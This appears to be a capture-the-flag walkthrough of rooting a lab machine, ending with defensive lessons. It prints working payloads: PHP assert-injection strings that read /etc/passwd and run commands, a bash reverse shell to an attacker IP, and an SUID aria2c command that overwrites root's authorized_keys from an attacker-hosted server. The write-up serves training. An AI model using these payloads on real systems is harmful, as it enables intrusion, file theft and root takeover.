The first step in approaching this machine was reconnaissance. Understanding which services were exposed is key. To do this, I ran a full TCP port scan using Nmap with default scripts and version detection. This helped me identify active services, potential vulnerabilities, and the overall attack surface of the target.

nmap -sC -sV --min-rate 100 -p- <target-ip>

We only found two open ports, which keeps things straightforward. So I moved on to exploring the HTTP service to see what the website could tell us.

To further explore the website, I used the FFUF tool to enumerate directories. However, the scan did not reveal any useful or interesting directories.

While browsing the website manually, I noticed a page parameter in the URL that seemed to control the displayed content. Since directory enumeration with FFUF didn’t reveal anything useful, I decided to investigate this parameter further.

I tested the input by inserting a single quote (') into the page parameter to observe how the application handled unexpected input. After doing this, the page returned blank, which suggested a potential input‑handling or backend processing issue.

I then attempted a path traversal test using page=../../../../etc/passwd, but the application returned the message ‘not so easy brother,’ indicating that direct access was likely being filtered or restricted

Although directory traversal patterns like .. were filtered, the application’s behavior suggested that input might be evaluated dynamically. This led me to investigate potential PHP assertion injection rather than a standard LFI vulnerability.

' and die(show_source('/etc/passwd')) or '
' and die(system("whoami")) or '

After testing the payload ' and die(show_source('/etc/passwd')) or ', the application returned the contents of /etc/passwd. This confirmed that user input was being dynamically evaluated within the application, resulting in arbitrary PHP code execution and exposure of sensitive system files.

After confirming remote code execution, I generated a reverse shell payload to gain interactive access to the target system. A Netcat listener was configured on my attacking machine (nc -lvnp 9001) to capture the reverse connection and obtain a shell.

reverse shell payload : ' and die(exec('bash -c "/bin/bash -i >& /dev/tcp/<Your_ip>/<port> 0>&1"')) or '

http://192.168.248.94/index.php?page=' AND die(exec(‘bash -c “bash -i >& /dev/tcp/192.168.45.234/9001 0>&1”’)) OR ‘

Note: URLencode this payload, including special characters.

After gaining a shell, I began checking file access and permissions. I explored various files and directories but didn’t find anything useful. I then decided to search specifically for local files and used the command find / -name local.txt 2>/dev/null, which helped me locate the target file.

Among the results, /usr/bin/aria2c stood out because it had the SUID bit set and was owned by root, meaning it executed with root privileges. Since aria2c allows file writing and overwriting, it could be abused to write into /root/.ssh/authorized_keys and insert our own SSH public key, effectively granting root access. As SUID binaries are common privilege escalation vectors, I investigated this binary further.

I reviewed the binary on GTFOBins to identify potential privilege escalation techniques. Although no direct escalation method was immediately apparent, the documentation confirmed that aria2c could overwrite files while executing with SUID privileges, making it a viable escalation vector.

Method (loading an authorized_keys file)

Since aria2c can overwrite files, it can potentially be abused to modify sensitive system files. In this case, the goal was to overwrite the root user’s authorized_keys file to gain SSH access. To transfer our public key to the target machine, I started a web server from the .ssh directory on my local system. If an SSH key pair isn’t already created, it can be generated using the ssh-keygen command

In the directory where the authorized_keys file is located, we set up an HTTP server using Python.

Now on the target machine we execute:

/usr/bin/aria2c -d /root/.ssh/ -o authorized_keys "http://192.168.45.223:1337/authorized_keys" --allow-overwrite=true

It’s time to check if this method has worked.

All that remains is to find the flag proof.txt file to finish the machine.

Key Lessons

• Inspect input parameters carefully — Even simple parameters like page= can lead to full compromise.
• Avoid unsafe use of assert() — Passing user input into assert() can result in arbitrary code execution.
• Filtering ≠ Security — Blocking patterns like ../ does not prevent exploitation if core logic is vulnerable.
• Audit SUID binaries regularly — Uncommon SUID programs (e.g., aria2c) can enable privilege escalation.
• Use GTFOBins during privesc — Always verify SUID binaries against GTFOBins.
• Think beyond LFI — Unexpected behavior may indicate code execution, not just file inclusion.
• Minor misconfigurations can lead to root access — Small weaknesses can chain into full system compromise..

Thank you for reading.